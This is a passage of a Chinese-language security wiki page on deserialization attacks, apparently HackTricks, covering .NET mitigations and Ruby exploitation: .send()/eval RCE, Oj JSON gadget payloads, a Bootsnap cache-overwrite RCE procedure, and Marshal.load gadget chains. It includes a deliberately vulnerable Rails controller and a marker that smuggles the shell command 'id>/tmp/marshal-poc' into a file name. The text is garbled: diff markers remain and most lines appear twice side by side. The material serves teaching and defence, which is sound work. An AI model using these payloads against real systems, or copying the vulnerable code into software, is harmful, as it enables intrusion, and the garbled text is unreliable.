因此,**`--test`** 参数使我们能够解**哪些代码块易受** **ysoserial.net** 创建的反序列化漏洞的影响。 因此,**`--test`** 参数使我们能够解**哪些代码块易受** **ysoserial.net** 创建的反序列化漏洞的影响。
### ViewState ### ViewState
@ -775,7 +775,7 @@ return obj;
- **避免使用带有 `JavaScriptTypeResolver``JavaScriptSerializer`。** - **避免使用带有 `JavaScriptTypeResolver``JavaScriptSerializer`。**
- **限制可以被反序列化的类型,** 理解 .Net 类型的固有风险,例如 `System.IO.FileInfo`,它可以修改服务器文件的属性,可能导致拒绝服务攻击。 - **限制可以被反序列化的类型,** 理解 .Net 类型的固有风险,例如 `System.IO.FileInfo`,它可以修改服务器文件的属性,可能导致拒绝服务攻击。
- **对具有风险属性的类型保持谨慎,**`System.ComponentModel.DataAnnotations.ValidationException` 及其 `Value` 属性,可能会被利用。 - **对具有风险属性的类型保持谨慎,**`System.ComponentModel.DataAnnotations.ValidationException` 及其 `Value` 属性,可能会被利用。
- **安全地控制类型实例化,** 防止攻击者影响反序列化过程,使得即使是 `DataContractSerializer``XmlSerializer` 也变得脆弱。 - **安全地控制类型实例化,** 防止攻击者影响反序列化过程,使得即使是 `DataContractSerializer``XmlSerializer` 也变得脆弱。
- **使用自定义 `SerializationBinder` 实现白名单控制**,适用于 `BinaryFormatter``JSON.Net` - **使用自定义 `SerializationBinder` 实现白名单控制**,适用于 `BinaryFormatter``JSON.Net`
- **保持对已知不安全反序列化工具的了解,** 确保反序列化器不实例化此类类型。 - **保持对已知不安全反序列化工具的了解,** 确保反序列化器不实例化此类类型。
- **将潜在风险代码与具有互联网访问权限的代码隔离,** 以避免将已知工具暴露给不可信的数据源,例如 WPF 应用程序中的 `System.Windows.Data.ObjectDataProvider` - **将潜在风险代码与具有互联网访问权限的代码隔离,** 以避免将已知工具暴露给不可信的数据源,例如 WPF 应用程序中的 `System.Windows.Data.ObjectDataProvider`
@ -873,14 +873,14 @@ puts Base64.encode64(payload)
### Ruby .send() 方法 ### Ruby .send() 方法
正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并使用任何参数。 正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并带有任何参数。
例如,调用 eval 然后将 ruby 代码作为第二个参数将允许执行任意代码: 例如,调用 eval 然后将 ruby 代码作为第二个参数将允许执行任意代码:
```ruby ```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE <Object>.send('eval', '<user input with Ruby code>') == RCE
``` ```
此外,如果只有一个参数被攻击者控制,如前面的写作中提到的,可以调用对象的任何**不需要参数**或其参数具有**默认值**的方法。\ 此外,如果只有一个参数被攻击者控制,如前面的写作中提到的,可以调用对象的任何**不需要参数**或其参数具有**默认值**的方法。\
为此,可以枚举对象的所有方法以**找到满足这些要求的一些有趣方法**。 为此,可以枚举对象的所有方法以**找到满足这些要求的一些有趣方法**。
```ruby ```ruby
<Object>.send('<user_input>') <Object>.send('<user_input>')
@ -904,11 +904,11 @@ candidate_methods.length() # Final number of methods=> 3595
``` ```
### Ruby 类污染 ### Ruby 类污染
检查如何可能 [污染 Ruby 类并在此处滥用它](ruby-class-pollution.md)。 检查如何可能 [污染 Ruby 类并在这里滥用它](ruby-class-pollution.md)。
### Ruby _json 污染 ### Ruby _json 污染
当发送一些不可哈希的值如数组时,它们将被添加到一个名为 `_json` 的新键中。然而,攻击者也可以在请求体中设置一个名为 `_json` 的值,包含他希望的任意值。然后,如果后端例如检查一个参数的真实性,但又使用 `_json` 参数执行某些操作,则可能会发生授权绕过。 当发送一些不可哈希的值如数组时,它们将被添加到一个名为 `_json` 的新键中。然而,攻击者也可以在请求体中设置一个名为 `_json` 的值,包含他希望的任意值。然后,如果后端例如检查一个参数的真实性,但又使用 `_json` 参数执行某些操作,则可能会发生授权绕过。
在 [Ruby _json 污染页面](ruby-_json-pollution.md) 中查看更多信息。 在 [Ruby _json 污染页面](ruby-_json-pollution.md) 中查看更多信息。
@ -916,7 +916,7 @@ candidate_methods.length() # Final number of methods=> 3595
此技术取自 [**这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。 此技术取自 [**这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化期间获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库的方法(基本上是滥用以获取 RCE 的函数): 还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化过程中获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库的方法基本上是滥用以获取 RCE 的函数):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong></strong></td><td><strong>输入数据</strong></td><td><strong>类内部启动方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>二进制</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>[查看关于 json_create 的说明](#table-vulnerable-sinks)</td></tr></tbody></table> <table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong></strong></td><td><strong>输入数据</strong></td><td><strong>类内部启动方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>二进制</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>[查看关于 json_create 的说明](#table-vulnerable-sinks)</td></tr></tbody></table>
@ -942,7 +942,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload # Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload) Oj.load(json_payload)
``` ```
在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数中会调用 `to_s`,而 `to_s` 会调用 spec进而调用 fetch_path这使得它能够获取一个随机 URL从而很好地检测这些未清理的反序列化漏洞。 在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数中会调用 `to_s`,而 `to_s` 会调用 specspec 会调用 fetch_path这使得它能够获取一个随机 URL从而很好地检测这些未清理的反序列化漏洞。
```json ```json
{ {
"^o": "URI::HTTP", "^o": "URI::HTTP",
@ -954,7 +954,7 @@ Oj.load(json_payload)
"password": "anypw" "password": "anypw"
} }
``` ```
此外,发现使用前述技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转变为完整的 RCE类似于 此外,发现使用之前的技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转变为完整的 RCE类似于
```json ```json
{ {
"^o": "Gem::Resolver::SpecSpecification", "^o": "Gem::Resolver::SpecSpecification",
@ -980,21 +980,21 @@ Oj.load(json_payload)
### Bootstrap Caching ### Bootstrap Caching
这实际上不是一个反序列化漏洞但这是一个很好的技巧可以利用bootstrap缓存从rails应用程序中获取RCE并进行任意文件写入(完整的[原始帖子在这里](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/))。 这实际上并不是一个反序列化漏洞,而是一个利用 Bootstrap 缓存来从 Rails 应用程序中获取 RCE 的好技巧(完整的[原始帖子在这里](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/))。
以下是文章中详细描述的通过滥用 Bootsnap 缓存来利用任意文件写入漏洞的步骤的简要总结: 以下是文章中详细描述的通过滥用 Bootsnap 缓存来利用任意文件写入漏洞的步骤的简要总结:
- 识别漏洞和环境 - 识别漏洞和环境
Rails应用程序的文件上传功能允许攻击者任意写入文件。尽管该应用程序在限制下运行由于Docker的非root用户只有某些目录如tmp是可写的但这仍然允许写入Bootsnap缓存目录通常在tmp/cache/bootsnap下)。 Rails 应用程序的文件上传功能允许攻击者任意写入文件。尽管该应用程序在限制下运行(由于 Docker 的非根用户,只有某些目录如 tmp 可写),但这仍然允许写入 Bootsnap 缓存目录(通常在 tmp/cache/bootsnap 下)。
- 理解 Bootsnap 的缓存机制 - 理解 Bootsnap 的缓存机制
Bootsnap通过缓存编译的Ruby代码、YAML和JSON文件来加快Rails启动时间。它存储包含缓存键头的缓存文件包括Ruby版本、文件大小、mtime、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。 Bootsnap 通过缓存编译的 Ruby 代码、YAML 和 JSON 文件来加速 Rails 启动时间。它存储包含缓存键头的缓存文件(包括 Ruby 版本、文件大小、修改时间、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。
- 收集文件元数据 - 收集文件元数据
攻击者首先选择一个在Rails启动期间可能加载的目标文件例如Ruby标准库中的set.rb。通过在容器内执行Ruby代码他们提取关键元数据如RUBY_VERSION、RUBY_REVISION、大小、mtime和compile_option)。这些数据对于构造有效的缓存键至关重要。 攻击者首先选择一个在 Rails 启动期间可能加载的目标文件例如Ruby 标准库中的 set.rb。通过在容器内执行 Ruby 代码,他们提取关键元数据(如 RUBY_VERSION、RUBY_REVISION、大小、修改时间和编译选项)。这些数据对于构造有效的缓存键至关重要。
- 计算缓存文件路径 - 计算缓存文件路径
@ -1011,6 +1011,58 @@ Bootsnap通过缓存编译的Ruby代码、YAML和JSON文件来加快Rails启动
该有效载荷被编译成二进制 Ruby 代码,并与精心构造的缓存键头连接在一起(使用先前收集的元数据和 Bootsnap 的正确版本号)。 该有效载荷被编译成二进制 Ruby 代码,并与精心构造的缓存键头连接在一起(使用先前收集的元数据和 Bootsnap 的正确版本号)。
- 覆盖并触发执行 - 覆盖并触发执行
利用任意文件写入漏洞攻击者将构造的缓存文件写入计算的位置。接下来他们触发服务器重启通过写入tmp/restart.txtPuma会监控该文件。在重启期间当Rails需要目标文件时恶意缓存文件被加载从而导致远程代码执行RCE
利用任意文件写入漏洞,攻击者将构造的缓存文件写入计算的位置。接下来,他们触发服务器重启(通过写入 tmp/restart.txtPuma 会监控该文件)。在重启期间,当 Rails 需要目标文件时恶意缓存文件被加载导致远程代码执行RCE
### Ruby Marshal 实践中的利用(更新)
将任何不受信任的字节到达 `Marshal.load`/`marshal_load` 的路径视为 RCE 漏洞。Marshal 重建任意对象图,并在物化过程中触发库/宝石回调。
- 最小脆弱的 Rails 代码路径:
```ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
```
- 在真实链中看到的常见小工具类: `Gem::SpecFetcher` `Gem::Version` `Gem::RequestSet::Lockfile` `Gem::Resolver::GitSpecification` `Gem::Source::Git`
- 嵌入在有效负载中的典型副作用标记(在反序列化期间执行):
```
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
```
在真实应用中的表现:
- Rails 缓存存储和会话存储历史上使用 Marshal
- 后台作业后端和文件支持的对象存储
- 任何自定义的二进制对象 blob 的持久化或传输
工业化小工具发现:
- Grep 查找构造函数、`hash``_load``init_with` 或在反序列化期间调用的有副作用的方法
- 使用 CodeQL 的 Ruby 不安全反序列化查询追踪源 → 汇和发现小工具
- 使用公共多格式 PoCJSON/XML/YAML/Marshal进行验证
## 参考文献
- Trail of Bits Marshal 疯狂Ruby 反序列化漏洞的简要历史https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam Ruby 2.x 通用 RCE 反序列化小工具链https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 Rails 3/4 Marshal 链https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 不安全反序列化)https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI 通过 Ruby on Rails Active Storage 不安全反序列化进行 RCEhttps://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security 在 Rubyland 中发现小工具链https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab Ruby 不安全反序列化查询帮助https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab PoC 仓库https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR Ruby 3.4 小工具https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke Ruby 3.4 通用链https://nastystereo.com/security/ruby-3-4-deserialization.html
- Luke Jahnke Gem::SafeMarshal 逃逸https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 发布https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby 修复 PR #12444https://github.com/ruby/ruby/pull/12444
- Trail of Bits 审计 RubyGems.orgMarshal 发现https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}